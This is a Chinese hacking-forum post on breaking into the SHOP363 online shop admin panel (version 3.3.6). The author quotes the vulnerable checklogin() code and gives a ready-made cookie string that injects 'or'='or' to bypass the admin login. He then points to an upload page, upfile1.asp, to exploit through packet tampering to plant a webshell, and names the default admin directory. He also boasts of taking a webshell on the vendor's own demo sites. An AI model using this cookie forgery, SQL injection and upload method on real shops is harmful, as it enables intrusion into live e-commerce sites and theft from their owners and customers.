呵呵,标题写的有点夸张,我看的是官方演示的最新版本3.3.6版本,看过代码我相信早期的版本应该写法是基本相同的,因为没找到早期版本的下载所以没有测试,大家有的可以自行测试早期版本。
在讨论组看有坛友求SHOP363后台拿WEBSHELL方法,因为以前没用过这个系统不熟悉所以就百度了下找到了官方演示,通过一个老漏洞拿(不是网店程序本身的漏洞)到了官方演示的webHSELL,然后在官方网站目录下还有个演示站,还是那个方法直接拿到官方权限。拿到WEBSHELL后看了下网店的后台代码开始找相关的利用漏洞,看了几个文件果然发现了利用的地方
本帖隐藏的内容需要回复才可以浏览
昨天发了个智睿的管理系统的COOKIES欺骗漏洞,今天看SHOP363的Fun.asp文件发现管理验证方法基本试相同的,呵呵,真实巧啊后台目录Admin_Shop363下面的FUN.ASP里面的Sub checklogin() 代码
Sub checklogin() '检测是否登陆后台
dim AdminName,AdminPassword,AdminFlags
Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
Session(CacheName &"AdminPassword") = Request.Cookies
(SitWebCookies)("AdminPassword")
session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
("AdminFlags")
session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
("Truename")
Session(CacheName &"AdminoldFlags") = Request.Cookies
(SitWebCookies)("AdminoldFlags")
Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
("TFlags")
AdminName=Session(CacheName &"AdminName")
AdminPassword=Session(CacheName &"AdminPassword")
AdminFlags=Session(CacheName &"AdminFlags")
IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
'IF AdminName="" Then
response.redirect("index.asp")
response.End()
End If
End Sub
下面这个是在另一个演示站看到的改进代码
Sub checklogin() '检测是否登陆后台
dim AdminName,AdminPassword,AdminFlags
Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
Session(CacheName &"AdminPassword") = Request.Cookies
(SitWebCookies)("AdminPassword")
session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
("AdminFlags")
session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
("Truename")
Session(CacheName &"AdminoldFlags") = Request.Cookies
(SitWebCookies)("AdminoldFlags")
Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
("TFlags")
AdminName=Session(CacheName &"AdminName")
AdminPassword=Session(CacheName &"AdminPassword")
AdminFlags=Session(CacheName &"AdminFlags")
Strsqlck="select * from Shop363_Admin where name='"& AdminName &"' and
Password='"&AdminPassword&"'"
set rsck=server.CreateObject("Adodb.Recordset")
rsck.open Strsqlck,conn,1,1
If rsck.eof Then
response.redirect("index.asp")
response.End()
End If
rsck.close
Set rsck=nothing
'IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
'IF AdminName="" Then
' response.redirect("index.asp")
' response.End()
'End If
End Sub
基本没改进什么,一样还是COOKIES欺骗,下面的是COOKIES利用代码:ASPSESSIONIDQCSDTTCA=EGOPFIFBAANOKMIAIFCOMELG; ASPSESSIONIDSQTQABDB; Sy_Shops=TFlags=1,2,3,4,5,11,12,13,14,15,16,17,18,19,21,22,31,32,33,34,35,36,37,41,42,43,44,51,52,53,54,55,56,61,62,63,64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or'; Sy%5fShops; ASPSESSIONIDQCSDTTCA=EGOPFIFBAANOKMIAIFCOMELG
这样可以进后台了,管理目录下有两个上传文件admin_upload.asp和admin_nupload.asp可以传递目录值但是我NC提交不成功还希望大牛们指教。
管理目录除了这两个没找到利用的地方就翻其他目录,运气好在网站根目录下的csv目录里发现了上传文件upfile1.asp代码如下:
<!--#include file="../admin_shop363/conn.asp"--> <!--#include file="chkuser.asp"--><html>
<head>
<title>化境上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
body,td,th {
font-size: 12px;
}
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" value="1">
<input type="hidden" name="filepath" value="csv/">
<input type="file" name="file1" value="">
<input type="submit" name="Submit" value="上传" class="bt">
</form>
</body>
</html>
这回相信大家都是非常熟悉了,抓包上传吧。网站默认后台目录:Admin_Shop363
首发T00LS转载请注明出处。